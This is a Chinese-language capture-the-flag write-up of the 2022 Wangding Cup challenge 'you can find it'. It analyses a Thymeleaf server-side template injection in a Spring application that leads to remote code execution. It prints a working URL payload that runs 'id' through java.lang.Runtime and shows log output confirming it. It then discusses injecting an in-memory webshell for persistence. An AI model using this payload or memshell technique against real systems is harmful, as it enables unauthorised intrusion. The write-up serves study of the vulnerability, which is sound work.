本文主要参考《2022 网鼎杯玄武组-you can find it 题解—Spring通用MemShell改造》参考进行复盘;
实际上我们一开始拿到jar包也是尝试几个路由是否存在SSTI
漏洞,不过CTF基本上通用的payload1基本上是不生效的:
我们直接把payload2拿过来:
/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::main.x
可以看到console报错UnixProcess
说明命令注入成功了的:
2022-09-22 06:50:03.785 INFO 1 --- [nio-8080-exec-2] c.e.demo.controller.IndexController : info: __${T (java.lang.Runtime).getRuntime().exec("id")}__::main.x
2022-09-22 06:50:04.004 ERROR 1 --- [nio-8080-exec-2] org.thymeleaf.TemplateEngine : [THYMELEAF][http-nio-8080-exec-2] Exception processing template "doc/java.lang.UNIXProcess@1331b3c8::[main]": Error resolving template [doc/java.lang.UNIXProcess@1331b3c8], template might not exist or might not be accessible by any of the configured Template Resolvers
org.thymeleaf.exceptions.TemplateInputException: Error resolving template [doc/java.lang.UNIXProcess@1331b3c8], template might not exist or might not be accessible by any of the configured Template Resolvers
不过我们同样尝试写入payload注入内存马时却报错
我们观察一下发现和之前的console报错时不一样的:
Error resolving template [doc/java.lang.UNIXProcess@1331b3c8]
成功应该是注入代码成功被识别成模版,然后汇报模版解析过程的问题(如上);而失败则并未被识别成模版(如下):
java.lang.IllegalArgumentException: Invalid template name specification:
不过通过以上的payload确实是可以成功RCE的:
我们需要根据参考2生成内存马,实现效果如下:
所以下一步是需要根据payload生成持久化的shell3,因为机器不出网,且没有回显;
所以我们尝试搞清楚:
@ResponseBody
注解的路由,不存在漏洞;@ResponseBody
进行注解的路由,因此即使没有return
情况下也是可注入的。如果
我们找到了官方文档4一些大牛的解答,就不在这里班门弄斧了,引用《Thymeleaf SSTI漏洞分析》参考原文5:
配置了ResponseBody注解确实无法触发,经过调试在
applyDefaultViewName
中ModelAndView
是Null
,而非ModelAndView
对象,所以
hasView()
会异常,不会设置视图名。
更多移步配置ResponseBody或RestController注解
引用参考文章第四章分析了
SpingMVC
视图解析的过程,在解析视图首先获取返回值并封装为
ModleAndView
,而在当前当前环境中并没有返回值,按理说ModelAndView
应该为空,为什么还能正常得到ModleAndView
呢?原因主要在
DispatcherServlet#doDispatch
中,获取ModleAndView后还会执行applyDefaultViewName
方法。